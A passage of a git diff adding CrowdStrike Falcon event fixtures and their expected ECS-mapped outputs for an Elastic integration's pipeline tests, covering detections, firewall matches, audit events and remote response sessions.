\"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t}\n\t\t],\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}", + "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", + "type": [ + "info" + ] + }, + "host": { + "name": "TESTComputer" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "TESTComputer" + ], + "user": [ + "TestUSER" + ] + }, + "rule": { + "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", + "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", + "name": "AppSideloadDetected" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0009" + ], + "name": [ + "Insecure security posture" + ] + }, + "technique": { + "id": [ + "CST0024" + ], + "name": [ + "Bad device settings" + ] + } + }, + "user": { + "name": "TestUSER" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log new file mode 100644 index 0000000000..d411bb7c1a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log @@ -0,0 +1 @@ +400 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json new file mode 100644 index 0000000000..c97daacf23 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json @@ -0,0 +1,5 @@ +{ + "expected": [ + null + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log new file mode 100644 index 0000000000..8d77763fc5 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log @@ -0,0 +1,23 @@ +{ + "metadata": { + "customerIDString": "1231231231231", + "offset": 2664218, + "eventType": "ReconNotificationSummaryEvent", + "eventCreationTime": 1686889114000, + "version": "1.0" + }, + "event": { + "NotificationId": "oifgdjgpoidfsjhpoihio", + "Highlights": [ + "Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text" + ], + "MatchedTimestamp": 1686889114000, + "RuleId": "123543-0cb1-4806-9ccd-a543123", + "RuleName": "TestRuleName", + "RuleTopic": "TestRuleTopic", + "RulePriority": "high", + "ItemId": "oigjfdsiughsiopudhfoiusadhfiouhipou==", + "ItemType": "post", + "ItemPostedTimestamp": 1686873909000 + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json new file mode 100644 index 0000000000..5d97d87ebb --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json @@ -0,0 +1,53 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-16T04:18:34.000Z", + "crowdstrike": { + "event": { + "Highlights": [ + "Some highlighed text <cs-highlight>test</cs-highlight> <cs-highlight>gdsfgasd</cs-highlight>.\n\nAs an Some more text" + ], + "ItemPostedTimestamp": 1686873909000, + "ItemType": "post", + "NotificationId": "oifgdjgpoidfsjhpoihio", + "RulePriority": "high" + }, + "metadata": { + "customerIDString": "1231231231231", + "eventType": "ReconNotificationSummaryEvent", + "offset": 2664218, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "recon-notification-post", + "category": [ + "threat" + ], + "created": "2023-06-16T00:05:09.000Z", + "id": "oigjfdsiughsiopudhfoiusadhfiouhipou==", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"1231231231231\",\n \"offset\": 2664218,\n \"eventType\": \"ReconNotificationSummaryEvent\",\n \"eventCreationTime\": 1686889114000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"NotificationId\": \"oifgdjgpoidfsjhpoihio\",\n \"Highlights\": [\n \"Some highlighed text \\u0026lt;cs-highlight\\u0026gt;test\\u0026lt;/cs-highlight\\u0026gt; \\u0026lt;cs-highlight\\u0026gt;gdsfgasd\\u0026lt;/cs-highlight\\u0026gt;.\\n\\nAs an Some more text\"\n ],\n \"MatchedTimestamp\": 1686889114000,\n \"RuleId\": \"123543-0cb1-4806-9ccd-a543123\",\n \"RuleName\": \"TestRuleName\",\n \"RuleTopic\": \"TestRuleTopic\",\n \"RulePriority\": \"high\",\n \"ItemId\": \"oigjfdsiughsiopudhfoiusadhfiouhipou==\",\n \"ItemType\": \"post\",\n \"ItemPostedTimestamp\": 1686873909000\n }\n}", + "type": [ + "indicator" + ] + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "rule": { + "description": "TestRuleTopic", + "id": "123543-0cb1-4806-9ccd-a543123", + "name": "TestRuleName", + "ruleset": "TestRuleTopic" + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log new file mode 100644 index 0000000000..71cf205a36 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log @@ -0,0 +1,30 @@ +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 1045, + "eventType": "RemoteResponseSessionStartEvent", + "eventCreationTime": 1582830734000, + "version": "1.0" + }, + "event": { + "SessionId": "12345a1bc2d34fghi56jk7890lmno12p", + "HostnameField": "hostnameofmachine", + "UserName": "first.last@company.com", + "StartTimestamp": 1582830734 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 1046, + "eventType": "RemoteResponseSessionEndEvent", + "eventCreationTime": 1582830772000, + "version": "1.0" + }, + "event": { + "SessionId": "12345a1bc2d34fghi56jk7890lmno12p", + "HostnameField": "hostnameofmachine", + "UserName": "first.last@company.com", + "EndTimestamp": 1582830772 + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json new file mode 100644 index 0000000000..144ede533f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json @@ -0,0 +1,120 @@ +{ + "expected": [ + { + "@timestamp": "2020-02-27T19:12:14.000Z", + "crowdstrike": { + "event": { + "SessionId": "12345a1bc2d34fghi56jk7890lmno12p" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 1045, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "category": [ + "network", + "session" + ], + "created": "2020-02-27T19:12:14.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 1045,\n \"eventType\": \"RemoteResponseSessionStartEvent\",\n \"eventCreationTime\": 1582830734000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"StartTimestamp\": 1582830734\n }\n}", + "start": "2020-02-27T19:12:14.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "hostnameofmachine" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "hostnameofmachine" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + }, + { + "@timestamp": "2020-02-27T19:12:52.000Z", + "crowdstrike": { + "event": { + "SessionId": "12345a1bc2d34fghi56jk7890lmno12p" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "RemoteResponseSessionEndEvent", + "offset": 1046, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_end_event" + ], + "category": [ + "network", + "session" + ], + "created": "2020-02-27T19:12:52.000Z", + "end": "2020-02-27T19:12:52.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 1046,\n \"eventType\": \"RemoteResponseSessionEndEvent\",\n \"eventCreationTime\": 1582830772000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"EndTimestamp\": 1582830772\n }\n}", + "type": [ + "end" + ] + }, + "host": { + "name": "hostnameofmachine" + }, + "message": "Remote response session ended.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "hostnameofmachine" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log new file mode 100644 index 0000000000..c14c961ca7 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log @@ -0,0 +1,345 @@ +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70689, + "eventType": "FirewallMatchEvent", + "eventCreationTime": 1595248906000, + "version": "1.0" + }, + "event": { + "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5", + "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", + "Ipv": "ipv4", + "CommandLine": "", + "ConnectionDirection": "1", + "EventType": "FirewallRuleIP4Matched", + "Flags": { + "Audit": false, + "Log": false, + "Monitor": true + }, + "HostName": "TESTDEVICE01", + "ICMPCode": "", + "ICMPType": "", + "ImageFileName": "", + "LocalAddress": "10.37.60.194", + "LocalPort": "445", + "MatchCount": 1, + "MatchCountSinceLastReport": 1, + "NetworkProfile": "2", + "PID": "206158879910", + "PolicyName": "PROD-FW-Workstations-General", + "PolicyID": "74e7f1552a3a4d90a6d65578642c8584", + "Protocol": "6", + "RemoteAddress": "10.37.60.21", + "RemotePort": "54952", + "RuleAction": "2", + "RuleDescription": "", + "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa", + "RuleGroupName": "SMB Rules", + "RuleName": "Inbound SMB Block \u0026 Log Private", + "RuleId": "4877172638743447345", + "Status": "", + "Timestamp": "2020-07-20T12:41:44Z", + "TreeID": "" + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57181, + "eventType": "IncidentSummaryEvent", + "eventCreationTime": 1595005328414, + "version": "1.0" + }, + "event": { + "IncidentStartTime": 1595005316, + "IncidentEndTime": 1595005316, + "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54", + "State": "open", + "FineScore": 0.1, + "LateralMovement": 0 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70509, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1595247970093, + "version": "1.0" + }, + "event": { + "UserId": "first.last@company.com", + "UserIp": "67.43.156.15", + "OperationName": "saml2Assert", + "ServiceName": "Crowdstrike Authentication", + "Success": true, + "UTCTimestamp": 1595247970, + "AuditKeyValues": [ + { + "Key": "trace_id", + "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b" + }, + { + "Key": "actor_user", + "ValueString": "first.last@company.com" + }, + { + "Key": "actor_user_uuid", + "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1" + }, + { + "Key": "actor_cid", + "ValueString": "123456a1ab1a12abc12ab1234abcd12a" + }, + { + "Key": "target_user", + "ValueString": "first.last@company.com" + } + ] + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70683, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1595248885000, + "version": "1.0" + }, + "event": { + "UserId": "Crowdstrike", + "UserIp": "", + "OperationName": "quarantined_file_update", + "ServiceName": "quarantined_files", + "AuditKeyValues": [ + { + "Key": "quarantined_file_id", + "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21" + }, + { + "Key": "action_taken", + "ValueString": "quarantined" + } + ], + "UTCTimestamp": 1595248885 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57217, + "eventType": "RemoteResponseSessionStartEvent", + "eventCreationTime": 1595006093000, + "version": "1.0" + }, + "event": { + "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", + "HostnameField": "TESTDEVICE01", + "UserName": "first.last@company.com", + "StartTimestamp": 1595006093 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57269, + "eventType": "RemoteResponseSessionEndEvent", + "eventCreationTime": 1595006899000, + "version": "1.0" + }, + "event": { + "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", + "HostnameField": "TESTDEVICE01", + "UserName": "first.last@company.com", + "EndTimestamp": 1595006899, + "Commands": [ + "cd \\Program Files (x86)\\Symantec", + "ls .", + "cd \\Program Files (x86)", + "ls .", + "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", + "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```", + "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", + "restart", + "restart -Confirm" + ] + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57047, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1595002291000, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1595002290, + "ProcessEndTime": 1595002290, + "ProcessId": 663790158277, + "ParentProcessId": 627311656469, + "ComputerName": "TESTDEVICE01", + "UserName": "First.last", + "DetectName": "NGAV", + "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "Severity": 2, + "SeverityName": "Low", + "FileName": "filename.exe", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path", + "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ", + "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "MD5String": "0ab1235adca04aef6239f5496ef0a5df", + "SHA1String": "0000000000000000000000000000000000000000", + "MachineDomain": "NA", + "ExecutablesWritten": [ + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + } + ], + "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", + "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", + "IOCType": "hash_sha256", + "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", + "LocalIP": "10.1.190.117", + "MACAddress": "54-ad-d4-d2-a8-0b", + "Tactic": "Machine Learning", + "Technique": "Sensor-based ML", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "PatternDispositionValue": 2304, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": false, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": true, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": true, + "RegistryOperationBlocked": false, + "CriticalProcessDisabled": false, + "BootupSafeguardEnabled": false, + "FsOperationBlocked": false + }, + "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", + "ParentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe" + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57047, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1595002291000, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1595002290, + "ProcessEndTime": 1595002290, + "ProcessId": 663790158277, + "ParentProcessId": 627311656469, + "ComputerName": "TESTDEVICE01", + "UserName": "First.last", + "DetectName": "NGAV", + "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "Severity": 2, + "SeverityName": "Low", + "FileName": "filename.exe", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path", + "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ", + "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "MD5String": "0ab1235adca04aef6239f5496ef0a5df", + "SHA1String": "0000000000000000000000000000000000000000", + "MachineDomain": "NA", + "ExecutablesWritten": [ + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + } + ], + "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", + "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", + "IOCType": "hash_sha256", + "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", + "LocalIP": "10.1.190.117", + "MACAddress": "54-ad-d4-d2-a8-0b", + "Tactic": "Machine Learning", + "Technique": "Sensor-based ML", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "PatternDispositionValue": 2304, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": false, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": true, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": true, + "RegistryOperationBlocked": false, + "CriticalProcessDisabled": false, + "BootupSafeguardEnabled": false, + "FsOperationBlocked": false + }, + "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", + "ParentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "MitreAttack": [ + { + "Tactic": "Machine Learning", + "Technique": "Sensor-based ML" + } + ] + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json new file mode 100644 index 0000000000..c0682110a8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json @@ -0,0 +1,743 @@ +{ + "expected": [ + { + "@timestamp": "2020-07-20T12:41:46.000Z", + "crowdstrike": { + "event": { + "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", + "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5", + "Flags": { + "Audit": false, + "Log": false, + "Monitor": true + }, + "MatchCount": 1, + "MatchCountSinceLastReport": 1, + "NetworkProfile": "2", + "PolicyID": "74e7f1552a3a4d90a6d65578642c8584", + "PolicyName": "PROD-FW-Workstations-General", + "Protocol": "6", + "RuleAction": "2", + "Timestamp": "2020-07-20T12:41:44Z" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "FirewallMatchEvent", + "offset": 70689, + "version": "1.0" + } + }, + "destination": { + "ip": "10.37.60.194", + "port": 445 + }, + "device": { + "id": "718af202ab2c4ba5b6a5d10d39c0e0a5" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "firewall_match_event" + ], + "category": [ + "network" + ], + "code": "FirewallRuleIP4Matched", + "created": "2020-07-20T12:41:46.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70689,\n \"eventType\": \"FirewallMatchEvent\",\n \"eventCreationTime\": 1595248906000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"DeviceId\": \"718af202ab2c4ba5b6a5d10d39c0e0a5\",\n \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"Ipv\": \"ipv4\",\n \"CommandLine\": \"\",\n \"ConnectionDirection\": \"1\",\n \"EventType\": \"FirewallRuleIP4Matched\",\n \"Flags\": {\n \"Audit\": false,\n \"Log\": false,\n \"Monitor\": true\n },\n \"HostName\": \"TESTDEVICE01\",\n \"ICMPCode\": \"\",\n \"ICMPType\": \"\",\n \"ImageFileName\": \"\",\n \"LocalAddress\": \"10.37.60.194\",\n \"LocalPort\": \"445\",\n \"MatchCount\": 1,\n \"MatchCountSinceLastReport\": 1,\n \"NetworkProfile\": \"2\",\n \"PID\": \"206158879910\",\n \"PolicyName\": \"PROD-FW-Workstations-General\",\n \"PolicyID\": \"74e7f1552a3a4d90a6d65578642c8584\",\n \"Protocol\": \"6\",\n \"RemoteAddress\": \"10.37.60.21\",\n \"RemotePort\": \"54952\",\n \"RuleAction\": \"2\",\n \"RuleDescription\": \"\",\n \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n \"RuleGroupName\": \"SMB Rules\",\n \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n \"RuleId\": \"4877172638743447345\",\n \"Status\": \"\",\n \"Timestamp\": \"2020-07-20T12:41:44Z\",\n \"TreeID\": \"\"\n }\n}", + "type": [ + "start", + "connection", + "denied" + ] + }, + "host": { + "name": "TESTDEVICE01" + }, + "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'", + "network": { + "direction": "ingress", + "type": "ipv4" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "entity_id": "206158879910", + "pid": 206158879910 + }, + "related": { + "hosts": [ + "TESTDEVICE01" + ], + "ip": [ + "10.37.60.21", + "10.37.60.194" + ] + }, + "rule": { + "category": "fec73e96a1bf4481be582c3f89b234fa", + "id": "4877172638743447345", + "name": "Inbound SMB Block & Log Private", + "ruleset": "SMB Rules" + }, + "source": { + "ip": "10.37.60.21", + "port": 54952 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-07-17T17:02:08.414Z", + "crowdstrike": { + "event": { + "FineScore": 0.1, + "State": "open" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "IncidentSummaryEvent", + "offset": 57181, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "incident" + ], + "category": [ + "malware" + ], + "created": "2020-07-17T17:02:08.414Z", + "end": "2020-07-17T17:01:56.000Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57181,\n \"eventType\": \"IncidentSummaryEvent\",\n \"eventCreationTime\": 1595005328414,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentStartTime\": 1595005316,\n \"IncidentEndTime\": 1595005316,\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54\",\n \"State\": \"open\",\n \"FineScore\": 0.1,\n \"LateralMovement\": 0\n }\n}", + "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54", + "start": "2020-07-17T17:01:56.000Z", + "type": [ + "info" + ] + }, + "message": "Incident score 0.1", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": 